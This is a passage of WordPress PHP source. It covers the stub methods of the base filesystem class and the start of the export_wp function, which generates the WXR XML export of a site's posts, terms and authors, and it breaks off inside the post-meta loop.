		return (bool) preg_match( '|[^\x20-\x7E]|', $text ); // chr(32)..chr(127)
	}

	/**
	 * Changes the owner of a file or directory.
	 *
	 * Default behavior is to do nothing, override this in your subclass, if desired.
	 *
	 * @since 2.5.0
	 *
	 * @param string     $file      Path to the file or directory.
	 * @param string|int $owner     A user name or number.
	 * @param bool       $recursive Optional. If set to true, changes file owner recursively.
	 *                              Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chown( $file, $owner, $recursive = false ) {
		return false;
	}

	/**
	 * Connects filesystem.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @return bool True on success, false on failure (always true for WP_Filesystem_Direct).
	 */
	public function connect() {
		return true;
	}

	/**
	 * Reads entire file into a string.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Name of the file to read.
	 * @return string|false Read data on success, false on failure.
	 */
	public function get_contents( $file ) {
		return false;
	}

	/**
	 * Reads entire file into an array.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Path to the file.
	 * @return array|false File contents in an array on success, false on failure.
	 */
	public function get_contents_array( $file ) {
		return false;
	}

	/**
	 * Writes a string to a file.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string    $file     Remote path to the file where to write the data.
	 * @param string    $contents The data to write.
	 * @param int|false $mode     Optional. The file permissions as octal number, usually 0644.
	 *                            Default false.
	 * @return bool True on success, false on failure.
	 */
	public function put_contents( $file, $contents, $mode = false ) {
		return false;
	}

	/**
	 * Gets the current working directory.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @return string|false The current working directory on success, false on failure.
	 */
	public function cwd() {
		return false;
	}

	/**
	 * Changes current directory.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $dir The new current directory.
	 * @return bool True on success, false on failure.
	 */
	public function chdir( $dir ) {
		return false;
	}

	/**
	 * Changes the file group.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string     $file      Path to the file.
	 * @param string|int $group     A group name or number.
	 * @param bool       $recursive Optional. If set to true, changes file group recursively.
	 *                              Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chgrp( $file, $group, $recursive = false ) {
		return false;
	}

	/**
	 * Changes filesystem permissions.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string    $file      Path to the file.
	 * @param int|false $mode      Optional. The permissions as octal number, usually 0644 for files,
	 *                             0755 for directories. Default false.
	 * @param bool      $recursive Optional. If set to true, changes file permissions recursively.
	 *                             Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chmod( $file, $mode = false, $recursive = false ) {
		return false;
	}

	/**
	 * Gets the file owner.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Path to the file.
	 * @return string|false Username of the owner on success, false on failure.
	 */
	public function owner( $file ) {
		return false;
	}

	/**
	 * Gets the file's group.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Path to the file.
	 * @return string|false The group on success, false on failure.
	 */
	public function group( $file ) {
		return false;
	}

	/**
	 * Copies a file.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string    $source      Path to the source file.
	 * @param string    $destination Path to the destination file.
	 * @param bool      $overwrite   Optional. Whether to overwrite the destination file if it exists.
	 *                               Default false.
	 * @param int|false $mode        Optional. The permissions as octal number, usually 0644 for files,
	 *                               0755 for dirs. Default false.
	 * @return bool True on success, false on failure.
	 */
	public function copy( $source, $destination, $overwrite = false, $mode = false ) {
		return false;
	}

	/**
	 * Moves a file.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $source      Path to the source file.
	 * @param string $destination Path to the destination file.
	 * @param bool   $overwrite   Optional. Whether to overwrite the destination file if it exists.
	 *                            Default false.
	 * @return bool True on success, false on failure.
	 */
	public function move( $source, $destination, $overwrite = false ) {
		return false;
	}

	/**
	 * Deletes a file or directory.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string       $file      Path to the file or directory.
	 * @param bool         $recursive Optional. If set to true, deletes files and folders recursively.
	 *                                Default false.
	 * @param string|false $type      Type of resource. 'f' for file, 'd' for directory.
	 *                                Default false.
	 * @return bool True on success, false on failure.
	 */
	public function delete( $file, $recursive = false, $type = false ) {
		return false;
	}

	/**
	 * Checks if a file or directory exists.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $path Path to file or directory.
	 * @return bool Whether $path exists or not.
	 */
	public function exists( $path ) {
		return false;
	}

	/**
	 * Checks if resource is a file.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file File path.
	 * @return bool Whether $file is a file.
	 */
	public function is_file( $file ) {
		return false;
	}

	/**
	 * Checks if resource is a directory.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $path Directory path.
	 * @return bool Whether $path is a directory.
	 */
	public function is_dir( $path ) {
		return false;
	}

	/**
	 * Checks if a file is readable.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Path to file.
	 * @return bool Whether $file is readable.
	 */
	public function is_readable( $file ) {
		return false;
	}

	/**
	 * Checks if a file or directory is writable.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $path Path to file or directory.
	 * @return bool Whether $path is writable.
	 */
	public function is_writable( $path ) {
		return false;
	}

	/**
	 * Gets the file's last access time.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Path to file.
	 * @return int|false Unix timestamp representing last access time, false on failure.
	 */
	public function atime( $file ) {
		return false;
	}

	/**
	 * Gets the file modification time.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Path to file.
	 * @return int|false Unix timestamp representing modification time, false on failure.
	 */
	public function mtime( $file ) {
		return false;
	}

	/**
	 * Gets the file size (in bytes).
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Path to file.
	 * @return int|false Size of the file in bytes on success, false on failure.
	 */
	public function size( $file ) {
		return false;
	}

	/**
	 * Sets the access and modification times of a file.
	 *
	 * Note: If $file doesn't exist, it will be created.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file  Path to file.
	 * @param int    $time  Optional. Modified time to set for file.
	 *                      Default 0.
	 * @param int    $atime Optional. Access time to set for file.
	 *                      Default 0.
	 * @return bool True on success, false on failure.
	 */
	public function touch( $file, $time = 0, $atime = 0 ) {
		return false;
	}

	/**
	 * Creates a directory.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string           $path  Path for new directory.
	 * @param int|false        $chmod Optional. The permissions as octal number (or false to skip chmod).
	 *                                Default false.
	 * @param string|int|false $chown Optional. A user name or number (or false to skip chown).
	 *                                Default false.
	 * @param string|int|false $chgrp Optional. A group name or number (or false to skip chgrp).
	 *                                Default false.
	 * @return bool True on success, false on failure.
	 */
	public function mkdir( $path, $chmod = false, $chown = false, $chgrp = false ) {
		return false;
	}

	/**
	 * Deletes a directory.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $path      Path to directory.
	 * @param bool   $recursive Optional. Whether to recursively remove files/directories.
	 *                          Default false.
	 * @return bool True on success, false on failure.
	 */
	public function rmdir( $path, $recursive = false ) {
		return false;
	}

	/**
	 * Gets details for files in a directory or a specific file.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $path           Path to directory or file.
	 * @param bool   $include_hidden Optional. Whether to include details of hidden ("." prefixed) files.
	 *                               Default true.
	 * @param bool   $recursive      Optional. Whether to recursively include file details in nested directories.
	 *                               Default false.
	 * @return array|false {
	 *     Array of arrays containing file information. False if unable to list directory contents.
	 *
	 *     @type array ...$0 {
	 *         Array of file information. Note that some elements may not be available on all filesystems.
	 *
	 *         @type string           $name        Name of the file or directory.
	 *         @type string           $perms       *nix representation of permissions.
	 *         @type string           $permsn      Octal representation of permissions.
	 *         @type int|string|false $number      File number. May be a numeric string. False if not available.
	 *         @type string|false     $owner       Owner name or ID, or false if not available.
	 *         @type string|false     $group       File permissions group, or false if not available.
	 *         @type int|string|false $size        Size of file in bytes. May be a numeric string.
	 *                                             False if not available.
	 *         @type int|string|false $lastmodunix Last modified unix timestamp. May be a numeric string.
	 *                                             False if not available.
	 *         @type string|false     $lastmod     Last modified month (3 letters) and day (without leading 0), or
	 *                                             false if not available.
	 *         @type string|false     $time        Last modified time, or false if not available.
	 *         @type string           $type        Type of resource. 'f' for file, 'd' for directory, 'l' for link.
	 *         @type array|false      $files       If a directory and `$recursive` is true, contains another array of
	 *                                             files. False if unable to list directory contents.
	 *     }
	 * }
	 */
	public function dirlist( $path, $include_hidden = true, $recursive = false ) {
		return false;
	}
}
<?php
/**
 * WordPress Export Administration API
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Version number for the export format.
 *
 * Bump this when something changes that might affect compatibility.
 *
 * @since 2.5.0
 */
define( 'WXR_VERSION', '1.2' );

/**
 * Generates the WXR export file for download.
 *
 * Default behavior is to export all content, however, note that post content will only
 * be exported for post types with the `can_export` argument enabled. Any posts with the
 * 'auto-draft' status will be skipped.
 *
 * @since 2.1.0
 * @since 5.7.0 Added the `post_modified` and `post_modified_gmt` fields to the export file.
 *
 * @global wpdb    $wpdb WordPress database abstraction object.
 * @global WP_Post $post Global post object.
 *
 * @param array $args {
 *     Optional. Arguments for generating the WXR export file for download. Default empty array.
 *
 *     @type string $content    Type of content to export. If set, only the post content of this post type
 *                              will be exported. Accepts 'all', 'post', 'page', 'attachment', or a defined
 *                              custom post. If an invalid custom post type is supplied, every post type for
 *                              which `can_export` is enabled will be exported instead. If a valid custom post
 *                              type is supplied but `can_export` is disabled, then 'posts' will be exported
 *                              instead. When 'all' is supplied, only post types with `can_export` enabled will
 *                              be exported. Default 'all'.
 *     @type string $author     Author to export content for. Only used when `$content` is 'post', 'page', or
 *                              'attachment'. Accepts false (all) or a specific author ID. Default false (all).
 *     @type string $category   Category (slug) to export content for. Used only when `$content` is 'post'. If
 *                              set, only post content assigned to `$category` will be exported. Accepts false
 *                              or a specific category slug. Default is false (all categories).
 *     @type string $start_date Start date to export content from. Expected date format is 'Y-m-d'. Used only
 *                              when `$content` is 'post', 'page' or 'attachment'. Default false (since the
 *                              beginning of time).
 *     @type string $end_date   End date to export content to. Expected date format is 'Y-m-d'. Used only when
 *                              `$content` is 'post', 'page' or 'attachment'. Default false (latest publish date).
 *     @type string $status     Post status to export posts for. Used only when `$content` is 'post' or 'page'.
 *                              Accepts false (all statuses except 'auto-draft'), or a specific status, i.e.
 *                              'publish', 'pending', 'draft', 'auto-draft', 'future', 'private', 'inherit', or
 *                              'trash'. Default false (all statuses except 'auto-draft').
 * }
 */
function export_wp( $args = array() ) {
	global $wpdb, $post;

	$defaults = array(
		'content'    => 'all',
		'author'     => false,
		'category'   => false,
		'start_date' => false,
		'end_date'   => false,
		'status'     => false,
	);
	$args     = wp_parse_args( $args, $defaults );

	/**
	 * Fires at the beginning of an export, before any headers are sent.
	 *
	 * @since 2.3.0
	 *
	 * @param array $args An array of export arguments.
	 */
	do_action( 'export_wp', $args );

	$sitename = sanitize_key( get_bloginfo( 'name' ) );
	if ( ! empty( $sitename ) ) {
		$sitename .= '.';
	}
	$date        = gmdate( 'Y-m-d' );
	$wp_filename = $sitename . 'WordPress.' . $date . '.xml';
	/**
	 * Filters the export filename.
	 *
	 * @since 4.4.0
	 *
	 * @param string $wp_filename The name of the file for download.
	 * @param string $sitename    The site name.
	 * @param string $date        Today's date, formatted.
	 */
	$filename = apply_filters( 'export_wp_filename', $wp_filename, $sitename, $date );

	header( 'Content-Description: File Transfer' );
	header( 'Content-Disposition: attachment; filename=' . $filename );
	header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ), true );

	if ( 'all' !== $args['content'] && post_type_exists( $args['content'] ) ) {
		$ptype = get_post_type_object( $args['content'] );
		if ( ! $ptype->can_export ) {
			$args['content'] = 'post';
		}

		$where = $wpdb->prepare( "{$wpdb->posts}.post_type = %s", $args['content'] );
	} else {
		$post_types = get_post_types( array( 'can_export' => true ) );
		$esses      = array_fill( 0, count( $post_types ), '%s' );

		// phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare
		$where = $wpdb->prepare( "{$wpdb->posts}.post_type IN (" . implode( ',', $esses ) . ')', $post_types );
	}

	if ( $args['status'] && ( 'post' === $args['content'] || 'page' === $args['content'] ) ) {
		$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_status = %s", $args['status'] );
	} else {
		$where .= " AND {$wpdb->posts}.post_status != 'auto-draft'";
	}

	$join = '';
	if ( $args['category'] && 'post' === $args['content'] ) {
		$term = term_exists( $args['category'], 'category' );
		if ( $term ) {
			$join   = "INNER JOIN {$wpdb->term_relationships} ON ({$wpdb->posts}.ID = {$wpdb->term_relationships}.object_id)";
			$where .= $wpdb->prepare( " AND {$wpdb->term_relationships}.term_taxonomy_id = %d", $term['term_taxonomy_id'] );
		}
	}

	if ( in_array( $args['content'], array( 'post', 'page', 'attachment' ), true ) ) {
		if ( $args['author'] ) {
			$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_author = %d", $args['author'] );
		}

		if ( $args['start_date'] ) {
			$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_date >= %s", gmdate( 'Y-m-d', strtotime( $args['start_date'] ) ) );
		}

		if ( $args['end_date'] ) {
			$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_date < %s", gmdate( 'Y-m-d', strtotime( '+1 month', strtotime( $args['end_date'] ) ) ) );
		}
	}

	// Grab a snapshot of post IDs, just in case it changes during the export.
	$post_ids = $wpdb->get_col( "SELECT ID FROM {$wpdb->posts} $join WHERE $where" );

	// Get IDs for the attachments of each post, unless all content is already being exported.
	if ( ! in_array( $args['content'], array( 'all', 'attachment' ), true ) ) {
		// Array to hold all additional IDs (attachments and thumbnails).
		$additional_ids = array();

		// Create a copy of the post IDs array to avoid modifying the original array.
		$processing_ids = $post_ids;

		while ( $next_posts = array_splice( $processing_ids, 0, 20 ) ) {
			$posts_in     = array_map( 'absint', $next_posts );
			$placeholders = array_fill( 0, count( $posts_in ), '%d' );

			// Create a string for the placeholders.
			$in_placeholder = implode( ',', $placeholders );

			// Prepare the SQL statement for attachment ids.
			$attachment_ids = $wpdb->get_col(
				$wpdb->prepare(
					"
				SELECT ID
				FROM $wpdb->posts
				WHERE post_parent IN ($in_placeholder) AND post_type = 'attachment'
					",
					$posts_in
				)
			);

			$thumbnails_ids = $wpdb->get_col(
				$wpdb->prepare(
					"
				SELECT meta_value
				FROM $wpdb->postmeta
				WHERE $wpdb->postmeta.post_id IN ($in_placeholder)
				AND $wpdb->postmeta.meta_key = '_thumbnail_id'
					",
					$posts_in
				)
			);

			$additional_ids = array_merge( $additional_ids, $attachment_ids, $thumbnails_ids );
		}

		// Merge the additional IDs back with the original post IDs after processing all posts
		$post_ids = array_unique( array_merge( $post_ids, $additional_ids ) );
	}

	/*
	 * Get the requested terms ready, empty unless posts filtered by category
	 * or all content.
	 */
	$cats  = array();
	$tags  = array();
	$terms = array();
	if ( isset( $term ) && $term ) {
		$cat  = get_term( $term['term_id'], 'category' );
		$cats = array( $cat->term_id => $cat );
		unset( $term, $cat );
	} elseif ( 'all' === $args['content'] ) {
		$categories = (array) get_categories( array( 'get' => 'all' ) );
		$tags       = (array) get_tags( array( 'get' => 'all' ) );

		$custom_taxonomies = get_taxonomies( array( '_builtin' => false ) );
		$custom_terms      = (array) get_terms(
			array(
				'taxonomy' => $custom_taxonomies,
				'get'      => 'all',
			)
		);

		// Put categories in order with no child going before its parent.
		while ( $cat = array_shift( $categories ) ) {
			if ( ! $cat->parent || isset( $cats[ $cat->parent ] ) ) {
				$cats[ $cat->term_id ] = $cat;
			} else {
				$categories[] = $cat;
			}
		}

		// Put terms in order with no child going before its parent.
		while ( $t = array_shift( $custom_terms ) ) {
			if ( ! $t->parent || isset( $terms[ $t->parent ] ) ) {
				$terms[ $t->term_id ] = $t;
			} else {
				$custom_terms[] = $t;
			}
		}

		unset( $categories, $custom_taxonomies, $custom_terms );
	}

	/**
	 * Wraps given string in XML CDATA tag.
	 *
	 * @since 2.1.0
	 *
	 * @param string $str String to wrap in XML CDATA tag.
	 * @return string
	 */
	function wxr_cdata( $str ) {
		if ( ! seems_utf8( $str ) ) {
			$str = utf8_encode( $str );
		}
		// $str = ent2ncr(esc_html($str));
		$str = '<![CDATA[' . str_replace( ']]>', ']]]]><![CDATA[>', $str ) . ']]>';

		return $str;
	}

	/**
	 * Returns the URL of the site.
	 *
	 * @since 2.5.0
	 *
	 * @return string Site URL.
	 */
	function wxr_site_url() {
		if ( is_multisite() ) {
			// Multisite: the base URL.
			return network_home_url();
		} else {
			// WordPress (single site): the site URL.
			return get_bloginfo_rss( 'url' );
		}
	}

	/**
	 * Outputs a cat_name XML tag from a given category object.
	 *
	 * @since 2.1.0
	 *
	 * @param WP_Term $category Category Object.
	 */
	function wxr_cat_name( $category ) {
		if ( empty( $category->name ) ) {
			return;
		}

		echo '<wp:cat_name>' . wxr_cdata( $category->name ) . "</wp:cat_name>\n";
	}

	/**
	 * Outputs a category_description XML tag from a given category object.
	 *
	 * @since 2.1.0
	 *
	 * @param WP_Term $category Category Object.
	 */
	function wxr_category_description( $category ) {
		if ( empty( $category->description ) ) {
			return;
		}

		echo '<wp:category_description>' . wxr_cdata( $category->description ) . "</wp:category_description>\n";
	}

	/**
	 * Outputs a tag_name XML tag from a given tag object.
	 *
	 * @since 2.3.0
	 *
	 * @param WP_Term $tag Tag Object.
	 */
	function wxr_tag_name( $tag ) {
		if ( empty( $tag->name ) ) {
			return;
		}

		echo '<wp:tag_name>' . wxr_cdata( $tag->name ) . "</wp:tag_name>\n";
	}

	/**
	 * Outputs a tag_description XML tag from a given tag object.
	 *
	 * @since 2.3.0
	 *
	 * @param WP_Term $tag Tag Object.
	 */
	function wxr_tag_description( $tag ) {
		if ( empty( $tag->description ) ) {
			return;
		}

		echo '<wp:tag_description>' . wxr_cdata( $tag->description ) . "</wp:tag_description>\n";
	}

	/**
	 * Outputs a term_name XML tag from a given term object.
	 *
	 * @since 2.9.0
	 *
	 * @param WP_Term $term Term Object.
	 */
	function wxr_term_name( $term ) {
		if ( empty( $term->name ) ) {
			return;
		}

		echo '<wp:term_name>' . wxr_cdata( $term->name ) . "</wp:term_name>\n";
	}

	/**
	 * Outputs a term_description XML tag from a given term object.
	 *
	 * @since 2.9.0
	 *
	 * @param WP_Term $term Term Object.
	 */
	function wxr_term_description( $term ) {
		if ( empty( $term->description ) ) {
			return;
		}

		echo "\t\t<wp:term_description>" . wxr_cdata( $term->description ) . "</wp:term_description>\n";
	}

	/**
	 * Outputs term meta XML tags for a given term object.
	 *
	 * @since 4.6.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param WP_Term $term Term object.
	 */
	function wxr_term_meta( $term ) {
		global $wpdb;

		$termmeta = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->termmeta WHERE term_id = %d", $term->term_id ) );

		foreach ( $termmeta as $meta ) {
			/**
			 * Filters whether to selectively skip term meta used for WXR exports.
			 *
			 * Returning a truthy value from the filter will skip the current meta
			 * object from being exported.
			 *
			 * @since 4.6.0
			 *
			 * @param bool   $skip     Whether to skip the current piece of term meta. Default false.
			 * @param string $meta_key Current meta key.
			 * @param object $meta     Current meta object.
			 */
			if ( ! apply_filters( 'wxr_export_skip_termmeta', false, $meta->meta_key, $meta ) ) {
				printf( "\t\t<wp:termmeta>\n\t\t\t<wp:meta_key>%s</wp:meta_key>\n\t\t\t<wp:meta_value>%s</wp:meta_value>\n\t\t</wp:termmeta>\n", wxr_cdata( $meta->meta_key ), wxr_cdata( $meta->meta_value ) );
			}
		}
	}

	/**
	 * Outputs list of authors with posts.
	 *
	 * @since 3.1.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param int[] $post_ids Optional. Array of post IDs to filter the query by.
	 */
	function wxr_authors_list( array $post_ids = null ) {
		global $wpdb;

		if ( ! empty( $post_ids ) ) {
			$post_ids = array_map( 'absint', $post_ids );
			$and      = 'AND ID IN ( ' . implode( ', ', $post_ids ) . ')';
		} else {
			$and = '';
		}

		$authors = array();
		$results = $wpdb->get_results( "SELECT DISTINCT post_author FROM $wpdb->posts WHERE post_status != 'auto-draft' $and" );
		foreach ( (array) $results as $result ) {
			$authors[] = get_userdata( $result->post_author );
		}

		$authors = array_filter( $authors );

		foreach ( $authors as $author ) {
			echo "\t<wp:author>";
			echo '<wp:author_id>' . (int) $author->ID . '</wp:author_id>';
			echo '<wp:author_login>' . wxr_cdata( $author->user_login ) . '</wp:author_login>';
			echo '<wp:author_email>' . wxr_cdata( $author->user_email ) . '</wp:author_email>';
			echo '<wp:author_display_name>' . wxr_cdata( $author->display_name ) . '</wp:author_display_name>';
			echo '<wp:author_first_name>' . wxr_cdata( $author->first_name ) . '</wp:author_first_name>';
			echo '<wp:author_last_name>' . wxr_cdata( $author->last_name ) . '</wp:author_last_name>';
			echo "</wp:author>\n";
		}
	}

	/**
	 * Outputs all navigation menu terms.
	 *
	 * @since 3.1.0
	 */
	function wxr_nav_menu_terms() {
		$nav_menus = wp_get_nav_menus();
		if ( empty( $nav_menus ) || ! is_array( $nav_menus ) ) {
			return;
		}

		foreach ( $nav_menus as $menu ) {
			echo "\t<wp:term>";
			echo '<wp:term_id>' . (int) $menu->term_id . '</wp:term_id>';
			echo '<wp:term_taxonomy>nav_menu</wp:term_taxonomy>';
			echo '<wp:term_slug>' . wxr_cdata( $menu->slug ) . '</wp:term_slug>';
			wxr_term_name( $menu );
			echo "</wp:term>\n";
		}
	}

	/**
	 * Outputs list of taxonomy terms, in XML tag format, associated with a post.
	 *
	 * @since 2.3.0
	 */
	function wxr_post_taxonomy() {
		$post = get_post();

		$taxonomies = get_object_taxonomies( $post->post_type );
		if ( empty( $taxonomies ) ) {
			return;
		}
		$terms = wp_get_object_terms( $post->ID, $taxonomies );

		foreach ( (array) $terms as $term ) {
			echo "\t\t<category domain=\"{$term->taxonomy}\" nicename=\"{$term->slug}\">" . wxr_cdata( $term->name ) . "</category>\n";
		}
	}

	/**
	 * Determines whether to selectively skip post meta used for WXR exports.
	 *
	 * @since 3.3.0
	 *
	 * @param bool   $return_me Whether to skip the current post meta. Default false.
	 * @param string $meta_key  Meta key.
	 * @return bool
	 */
	function wxr_filter_postmeta( $return_me, $meta_key ) {
		if ( '_edit_lock' === $meta_key ) {
			$return_me = true;
		}
		return $return_me;
	}
	add_filter( 'wxr_export_skip_postmeta', 'wxr_filter_postmeta', 10, 2 );

	echo '<?xml version="1.0" encoding="' . get_bloginfo( 'charset' ) . "\" ?>\n";

	?>
<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your site. -->
<!-- It contains information about your site's posts, pages, comments, categories, and other content. -->
<!-- You may use this file to transfer that content from one site to another. -->
<!-- This file is not intended to serve as a complete backup of your site. -->

<!-- To import this information into a WordPress site follow these steps: -->
<!-- 1. Log in to that site as an administrator. -->
<!-- 2. Go to Tools: Import in the WordPress admin panel. -->
<!-- 3. Install the "WordPress" importer from the list. -->
<!-- 4. Activate & Run Importer. -->
<!-- 5. Upload this file using the form provided on that page. -->
<!-- 6. You will first be asked to map the authors in this export file to users -->
<!--    on the site. For each author, you may choose to map to an -->
<!--    existing user on the site or to create a new user. -->
<!-- 7. WordPress will then import each of the posts, pages, comments, categories, etc. -->
<!--    contained in this file into your site. -->

	<?php the_generator( 'export' ); ?>
<rss version="2.0"
	xmlns:excerpt="http://wordpress.org/export/<?php echo WXR_VERSION; ?>/excerpt/"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:wp="http://wordpress.org/export/<?php echo WXR_VERSION; ?>/"
>

<channel>
	<title><?php bloginfo_rss( 'name' ); ?></title>
	<link><?php bloginfo_rss( 'url' ); ?></link>
	<description><?php bloginfo_rss( 'description' ); ?></description>
	<pubDate><?php echo gmdate( 'D, d M Y H:i:s +0000' ); ?></pubDate>
	<language><?php bloginfo_rss( 'language' ); ?></language>
	<wp:wxr_version><?php echo WXR_VERSION; ?></wp:wxr_version>
	<wp:base_site_url><?php echo wxr_site_url(); ?></wp:base_site_url>
	<wp:base_blog_url><?php bloginfo_rss( 'url' ); ?></wp:base_blog_url>

	<?php wxr_authors_list( $post_ids ); ?>

	<?php foreach ( $cats as $c ) : ?>
	<wp:category>
		<wp:term_id><?php echo (int) $c->term_id; ?></wp:term_id>
		<wp:category_nicename><?php echo wxr_cdata( $c->slug ); ?></wp:category_nicename>
		<wp:category_parent><?php echo wxr_cdata( $c->parent ? $cats[ $c->parent ]->slug : '' ); ?></wp:category_parent>
		<?php
		wxr_cat_name( $c );
		wxr_category_description( $c );
		wxr_term_meta( $c );
		?>
	</wp:category>
	<?php endforeach; ?>
	<?php foreach ( $tags as $t ) : ?>
	<wp:tag>
		<wp:term_id><?php echo (int) $t->term_id; ?></wp:term_id>
		<wp:tag_slug><?php echo wxr_cdata( $t->slug ); ?></wp:tag_slug>
		<?php
		wxr_tag_name( $t );
		wxr_tag_description( $t );
		wxr_term_meta( $t );
		?>
	</wp:tag>
	<?php endforeach; ?>
	<?php foreach ( $terms as $t ) : ?>
	<wp:term>
		<wp:term_id><?php echo (int) $t->term_id; ?></wp:term_id>
		<wp:term_taxonomy><?php echo wxr_cdata( $t->taxonomy ); ?></wp:term_taxonomy>
		<wp:term_slug><?php echo wxr_cdata( $t->slug ); ?></wp:term_slug>
		<wp:term_parent><?php echo wxr_cdata( $t->parent ? $terms[ $t->parent ]->slug : '' ); ?></wp:term_parent>
		<?php
		wxr_term_name( $t );
		wxr_term_description( $t );
		wxr_term_meta( $t );
		?>
	</wp:term>
	<?php endforeach; ?>
	<?php
	if ( 'all' === $args['content'] ) {
		wxr_nav_menu_terms();
	}
	?>

	<?php
	/** This action is documented in wp-includes/feed-rss2.php */
	do_action( 'rss2_head' );
	?>

	<?php
	if ( $post_ids ) {
		/**
		 * @global WP_Query $wp_query WordPress Query object.
		 */
		global $wp_query;

		// Fake being in the loop.
		$wp_query->in_the_loop = true;

		// Fetch 20 posts at a time rather than loading the entire table into memory.
		while ( $next_posts = array_splice( $post_ids, 0, 20 ) ) {
			$where = 'WHERE ID IN (' . implode( ',', $next_posts ) . ')';
			$posts = $wpdb->get_results( "SELECT * FROM {$wpdb->posts} $where" );

			// Begin Loop.
			foreach ( $posts as $post ) {
				setup_postdata( $post );

				/**
				 * Filters the post title used for WXR exports.
				 *
				 * @since 5.7.0
				 *
				 * @param string $post_title Title of the current post.
				 */
				$title = wxr_cdata( apply_filters( 'the_title_export', $post->post_title ) );

				/**
				 * Filters the post content used for WXR exports.
				 *
				 * @since 2.5.0
				 *
				 * @param string $post_content Content of the current post.
				 */
				$content = wxr_cdata( apply_filters( 'the_content_export', $post->post_content ) );

				/**
				 * Filters the post excerpt used for WXR exports.
				 *
				 * @since 2.6.0
				 *
				 * @param string $post_excerpt Excerpt for the current post.
				 */
				$excerpt = wxr_cdata( apply_filters( 'the_excerpt_export', $post->post_excerpt ) );

				$is_sticky = is_sticky( $post->ID ) ? 1 : 0;
				?>
	<item>
		<title><?php echo $title; ?></title>
		<link><?php the_permalink_rss(); ?></link>
		<pubDate><?php echo mysql2date( 'D, d M Y H:i:s +0000', get_post_time( 'Y-m-d H:i:s', true ), false ); ?></pubDate>
		<dc:creator><?php echo wxr_cdata( get_the_author_meta( 'login' ) ); ?></dc:creator>
		<guid isPermaLink="false"><?php the_guid(); ?></guid>
		<description></description>
		<content:encoded><?php echo $content; ?></content:encoded>
		<excerpt:encoded><?php echo $excerpt; ?></excerpt:encoded>
		<wp:post_id><?php echo (int) $post->ID; ?></wp:post_id>
		<wp:post_date><?php echo wxr_cdata( $post->post_date ); ?></wp:post_date>
		<wp:post_date_gmt><?php echo wxr_cdata( $post->post_date_gmt ); ?></wp:post_date_gmt>
		<wp:post_modified><?php echo wxr_cdata( $post->post_modified ); ?></wp:post_modified>
		<wp:post_modified_gmt><?php echo wxr_cdata( $post->post_modified_gmt ); ?></wp:post_modified_gmt>
		<wp:comment_status><?php echo wxr_cdata( $post->comment_status ); ?></wp:comment_status>
		<wp:ping_status><?php echo wxr_cdata( $post->ping_status ); ?></wp:ping_status>
		<wp:post_name><?php echo wxr_cdata( $post->post_name ); ?></wp:post_name>
		<wp:status><?php echo wxr_cdata( $post->post_status ); ?></wp:status>
		<wp:post_parent><?php echo (int) $post->post_parent; ?></wp:post_parent>
		<wp:menu_order><?php echo (int) $post->menu_order; ?></wp:menu_order>
		<wp:post_type><?php echo wxr_cdata( $post->post_type ); ?></wp:post_type>
		<wp:post_password><?php echo wxr_cdata( $post->post_password ); ?></wp:post_password>
		<wp:is_sticky><?php echo (int) $is_sticky; ?></wp:is_sticky>
				<?php	if ( 'attachment' === $post->post_type ) : ?>
		<wp:attachment_url><?php echo wxr_cdata( wp_get_attachment_url( $post->ID ) ); ?></wp:attachment_url>
	<?php endif; ?>
				<?php wxr_post_taxonomy(); ?>
				<?php
				$postmeta = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->postmeta WHERE post_id = %d", $post->ID ) );
				foreach ( $postmeta as $meta ) :
					/**
					 * Filters whether to selectively skip post meta used for WXR exports.
					 *
					 * Returning a truthy value from the filter will skip the current meta
					 * object from being exported.
					 *
					 * @since 3.3.0
					 *
					 * @param bool   $skip     Whether to skip the current post meta. Default false.
					 * @param string $meta_key Current meta key.
					 * @param object $meta     Current meta object.
					 */
					if ( apply_filters( 'wxr_export_skip_postmeta', false, $meta->meta_key, $meta ) ) {
						continue;
					}
					?>
